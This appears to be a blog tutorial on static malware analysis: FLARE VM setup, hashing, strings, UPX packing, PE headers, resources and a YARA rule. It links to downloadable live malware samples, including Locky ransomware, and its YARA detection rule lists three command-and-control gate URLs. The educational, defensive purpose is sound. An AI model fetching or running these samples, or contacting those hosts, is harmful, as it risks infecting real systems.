/></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*DdoIk4eXSByByZvcOlStwg.png" /></figure><p>Same as Windows defender</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*eoQht20BWDMwfBYJWV4a8A.png" /></figure><h3>Install flare-vm</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*Uw8O5xHb58IlRoyHlIV2Fg.png" /></figure><p>move to the Desktop directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*b5ObhdY3zYXr0AdNMO1H0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*bIoiwzhFZlp9rcAPSvZC3g.png" /></figure><p>Change the permission</p><p>#before start installing, we need the Internet connection</p><p>Machine &gt; settings &gt; network &gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*pU8Spe3r8Jt3tvBx8ZlHXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/224/1*k_B7WuAkb4CTukc7PcNt7A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*S9TYF9eNsC7AZRR-Oh4Hrw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*OuNnqab_mT0e_TyCjUdsNA.png" /></figure><p>Password :Passw0rd!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*GkfWKCov4TZu_J9EJu-BUg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*pJGd_zdRBfaU7vN_gu-a9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*YX3u8mfKpwaO_AQZX8shtQ.png" /></figure><p>Congratulations! You have successfully installed FLARE VM. At this point we recommend you power off the VM, <strong>switch the VM networking mode to Host-Only,</strong> and then take a snapshot to save a clean state of your analysis VM.</p><h3>Introduction To Static Analysis</h3><ul><li>Static analysis is the process of analyzing malware/binary without executing it.</li><li>The objective is to extract useful information from the malware, this will help us get an idea of the type of malware and what the malware can do.</li></ul><h3>Static analysis flow — How we will approach a sample</h3><ul><li>Identifying the file type — Target OS, architecture, and format (dll, exe)</li><li>Identifying the malware — Generating a hash of the malware, will give the malware a unique identifier. Using the hash to see if anyone else has analyzed the malware.</li><li>Strings — Strings give us an idea/glimpse of what the malware can do.</li><li>Packing &amp; Obfuscation — Obfuscation &amp; packing are techniques used to prevent detection. Unpacking or deobfuscating can reveal additional information.</li><li>PE headers — The PE header reveals a lot of information on malware functionality.</li></ul><h3>Identifying the file type</h3><ul><li>Identifying the file type is extremely important as it helps us identify the target OS and the corresponding architecture</li><li>An example of a Windows executable file is the PE (Portable Executable).</li><li>A PE could be in the form of; .exe, .dll etc.</li><li>To accurately identify a file type we need to analyze the file signature. This is to avoid false positives caused by the use of double extensions.</li><li>The file signature exists on the file header.</li><li>The file signature for PE files are represented by hexadecimal values of 4D 5A or MZ in the first 2 bytes (0–1).</li><li>PE programs also have the notice “This program cannot be run in DOS mode”</li><li>The PE header begins at hex 50 45.</li></ul><h3>Demo</h3><p>Malware sample:<a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbU5KRkZTNWU4NktkaFltX1I5cmFRR09RVUM3UXxBQ3Jtc0tuNkRjLVhBek5SblNNeXpCTXZQcjU3cWJMZVk5WFBPQlExYWRDbVZ1LTNSd2pEZnN6UmhjS1FxUWZucGdRWGIwT2hhanpIQ0x5VTExejJwbkVkMGVPOHdhb2hqTkhlNWo5QWgteGVnVlV3eVByd1JINA&amp;q=https%3A%2F%2Fs3.eu-central-1.amazonaws.com%2Fdasmalwerk%2Fdownloads%2Fdc030778938b8b6f98236a709d0d18734c325accf44b12a55ecc2d56b8bb9000%2Fdc030778938b8b6f98236a709d0d18734c325accf44b12a55ecc2d56b8bb9000.zip">https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbU5KRkZTNWU4NktkaFltX1I5cmFRR09RVUM3UXxBQ3Jtc0tuNkRjLVhBek5SblNNeXpCTXZQcjU3cWJMZVk5WFBPQlExYWRDbVZ1LTNSd2pEZnN6UmhjS1FxUWZucGdRWGIwT2hhanpIQ0x5VTExejJwbkVkMGVPOHdhb2hqTkhlNWo5QWgteGVnVlV3eVByd1JINA&amp;q=https%3A%2F%2Fs3.eu-central-1.amazonaws.com%2Fdasmalwerk%2Fdownloads%2Fdc030778938b8b6f98236a709d0d18734c325accf44b12a55ecc2d56b8bb9000%2Fdc030778938b8b6f98236a709d0d18734c325accf44b12a55ecc2d56b8bb9000.zip</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/211/1*cNBoA0yjKT_gELyG7YIGcg.png" /></figure><p>Extract file. The password is “infected”</p><h3>Tool: HxD</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*tBbdcavjX7IMfIedNJODFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*W5QIH_hfMvC1a6mCHv-gIA.png" /></figure><p>This is a manual static analysis</p><h3>Tool: Exeinfo PE</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*DcthTgWbZvuLnGuxicrwEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*wQoBUA53fOxmbbSH-ckh2A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*2IS3CQBRicwhTZAVFbIMBw.png" /></figure><h3>Tool: pestudio</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*4kZ0DVwba-EHDiQqr0mR3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*NXGerV24yYQifqJSQ-U32A.png" /></figure><h3>Tool: CFF Explorer</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*t4otD72ClPD5iSY5oBJGAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*mUd0CGyKMQFe-jpqBLWtEA.png" /></figure><h3>Malware hashing</h3><p>Malware hashing is the process of generating cryptographic hashes for the file content of the target malware. We are hashing the malware file.The hashing algorithms used in malware identification are:</p><ul><li>MD5</li><li>SHA-1</li><li>SHA-256</li></ul><p>The hashing process gives us a unique digest known as a fingerprint.This means we can create unique fingerprints for malware samples.</p><h3>Why should you hash?</h3><ul><li>For accurate identification of malware samples, rather than using file names for malware. Hashes are unique.</li><li>Hashes are used to identify malware on malware analysis sites. (Virus Total).</li><li>Hashes can be used to search for any previous detections or for checking online if the sample has been analyzed by other researchers.</li></ul><h3>DEMO</h3><h3>Tool: Hashcalc</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*Suq0OmCpbIMnIXktsxe_og.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*tdCzbebrGpgz7EOyc1mQ-w.png" /></figure><p>Copy MD5 hash and go to Virus Total</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*p57sFX6v9KtRUYbASeySJw.png" /></figure><p>copy and paste the hash and search</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*jegXSBPskjDK8QoQtu0SrA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*iDrRbSh5dgugmbUIv_0tsQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*jxJlYlZZtUcwErFuBnWXww.png" /></figure><h3>Analyzing strings</h3><ul><li>Strings Analysis — This is the process of extracting readable characters and words from the malware.</li><li>Strings can give us valuable information about the malware functionality.</li><li>Malware will usually contain useful strings and other random strings, also known as garbage strings.</li><li>Strings are in ASCII and Unicode format. ( We need to specify the type of strings we want to extract during analysis, as some tools only extract ASCII.</li><li>The types of strings we are looking for are: File names, URL’s (Domains the malware connects to), IP Addresses, Registry Keys</li></ul><h3>Demo</h3><p>Open powershell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*F8JlXWP-Ke2wVGcO1Jwdyw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*vJdWJCNR5-fQBubT2jdqtA.png" /></figure><pre>strings -a -n 6 &lt;path to the sample file&gt; &gt; &lt;path to save&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*T4cBMQ6wW6QwAA2RSyNkaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*rReHFOUqJd-vzE1AoG9SEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*6MW-p_4suMfat5xedVnFww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*CdVWJcq7Fg4xAig72cpqgA.png" /></figure><p>You can search “http”</p><h3>Packers &amp; Unpacking</h3><ul><li>A packer is a tool that is used to compress the content of the malware.</li><li>Attackers will use packers to <strong>obfuscate</strong> the content of the malware, this makes it difficult to analyze strings.</li><li>Packers compress an executable and when executed the packed executable will be decompressed. This allows us to analyze the original unpacked executable.</li></ul><h3>DEMO</h3><p>How to pack the malware</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*Uq27D0GcHlaa44SJHbsgaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*GG46JEHIdl8RJGD_n9846w.png" /></figure><p>It is not packed now</p><pre>upx -9 -qvfk &lt;path&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*A92BGRjUF34FgJnXBg5hbQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*RIMIQg6BznsUTCWAE9bY8g.png" /></figure><p>You can see the difference between the packed and unpacked version sizes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*uuOnFpBuZ6jsTn8jv6TNsg.png" /></figure><p>Hashes are also different</p><h3>Understanding The PE Header</h3><ul><li>The PE header contains the information the OS requires to run the executable.</li><li>This information is very useful, as it can give us more information about the functionality of the malware and how the malware interacts with the OS.</li></ul><h3>Why is the PE header important?</h3><ul><li>It contains all of the important and necessary information required by the OS to execute the executable.</li><li>It contains information that specifies where the executable needs to be loaded into memory.</li><li>It contains the libraries that the executable requires to be loaded (dll).</li><li>It contains information that specifies where the execution begins.</li></ul><h3>PE Header Structure</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*TO7pNb0He_sHag4tGxBcbg.png" /></figure><h3>Sections</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*6mALPgWg8PlI-4aq0FkGsQ.png" /></figure><h3>What information are we interested in?</h3><ul><li><strong>ompiler Stamp </strong>— When and where the malware was compiled.</li><li><strong>Subsystem</strong> — What subsystem is being used?</li><li><strong>Sections</strong> — Is the executable packed and are there any inconsistent permissions.</li><li><strong>Libraries &amp; Imports </strong>— What libraries and imports are being used, and what information do they give us about the functionality of the malware.</li></ul><h3>DEMO</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*_AquCSdZVk3O0lrewWHc2w.png" /></figure><p>Drag unpacked version onto pestudio</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*WjSYQ7kz4PNcJt_389wrXg.png" /></figure><ul><li>indicator section</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*tQXaLUk7m1G5xGYimSJ3uA.png" /></figure><ul><li>sections show permissions</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*QoTRdRnLnJrOQpLPG8s4rg.png" /></figure><ul><li>libraries show some blacklist</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*Eo5WkooslWuX608jdZpnUQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*HFFqWE5i3PgzFRU9jZKMaQ.png" /></figure><ul><li>Check functions such as loadlibrary</li></ul><p>Packed version</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*tvJ-12NwbuwiqpTck_tcew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*-9fRdUv1uFfPDmhFlQIaYQ.png" /></figure><p>As you can see, the packed version does not show the details</p><h3>Examining The Resources Section</h3><p>The resources section contains all the necessary files and information that are used/required by the executable. For example: icons, dialogs</p><h3>Why is it important?</h3><ul><li>Attackers can utilize the resources section to store more malicious files and data like payloads, droppers, configuration info etc.</li><li>The resource section is also useful as it may contain information about the origin of the malware.</li></ul><h3>DEMO</h3><p>Download Locky Ransomware from here</p><p><a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbXUyZlRPRTV2eDZSU05HZnpicW5ZWkt4aENfUXxBQ3Jtc0trLXdsZzI4aTZLYjNZSWVZcUFENFp0Vk05TG4zR3JUMDRNa1Zsd1BSQ3l3d1psX1luMWx0dzBGeTM5TndJTmRJbHBaNVJBNFBlcTZkejFNS1VuaTNTUmp0TW00anp4d0Nfelo5SENweml3OXVFWkR6RQ&amp;q=https%3A%2F%2Fs3.eu-central-1.amazonaws.com%2Fdasmalwerk%2Fdownloads%2F5ed2f09e648dca8f0ca75466b1442f6e599afddc80777e0559fb6881c6cd9ff3%2F5ed2f09e648dca8f0ca75466b1442f6e599afddc80777e0559fb6881c6cd9ff3.zip">https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbXUyZlRPRTV2eDZSU05HZnpicW5ZWkt4aENfUXxBQ3Jtc0trLXdsZzI4aTZLYjNZSWVZcUFENFp0Vk05TG4zR3JUMDRNa1Zsd1BSQ3l3d1psX1luMWx0dzBGeTM5TndJTmRJbHBaNVJBNFBlcTZkejFNS1VuaTNTUmp0TW00anp4d0Nfelo5SENweml3OXVFWkR6RQ&amp;q=https%3A%2F%2Fs3.eu-central-1.amazonaws.com%2Fdasmalwerk%2Fdownloads%2F5ed2f09e648dca8f0ca75466b1442f6e599afddc80777e0559fb6881c6cd9ff3%2F5ed2f09e648dca8f0ca75466b1442f6e599afddc80777e0559fb6881c6cd9ff3.zip</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*WVQTVaQAJJg56Y_DgWSiGQ.png" /></figure><p>Extract it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*ck8hJLwXEnOuZW1ha8UV4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*ocDKrSByUgK4j7eHwMX5yw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*7vFQh4fU6S8si-GX2DmMNw.png" /></figure><p>Then, drag Locky Ransomware file to the Resource Hacker</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*CrBiWNLBvIrKaaUBW9LvGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*htxextPmv8iB49r9tmWWtg.png" /></figure><h3>Creating YARA Rules</h3><ul><li>YARA rules are used to identify samples based on specific strings or binary data.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/333/1*fdntlL3B54_wbWO_qTogJg.png" /></figure><h3>DEMO</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*WjSYQ7kz4PNcJt_389wrXg.png" /></figure><ul><li>we use these three URLs as command &amp; control</li></ul><p>Lets create our first YARA rule</p><pre>rule creds_ru<br>{<br>meta:<br>    description = &quot;First YARA rule&quot;</pre><pre>strings:<br>    $a = &quot;<a href="http://reninparwil.com/zapoy/gate.php">http://reninparwil.com/zapoy/gate.php</a>&quot;<br>    $b = &quot;<a href="http://leftthenhispar.ru/zapoy/gate.php">http://leftthenhispar.ru/zapoy/gate.php</a>&quot;<br>    $c = &quot;<a href="http://reptertinrom.ru/zapoy/gate.php">http://reptertinrom.ru/zapoy/gate.php</a>&quot;</pre><pre>condition:<br>    ($a or $b or $c)</pre><pre>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*WFPV-7TlN-DpaHaIBQm-Fg.png" /></figure><p>Open command prompt and move to the directory that yara rule stays.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*1WQzeRD_1kOvBZZyDkZO8Q.png" /></figure><pre>yara32 -s -r &lt;rule file&gt; &lt;file path&gt;</pre><p>You can see three URLs are detected.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4ef66a04a34" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>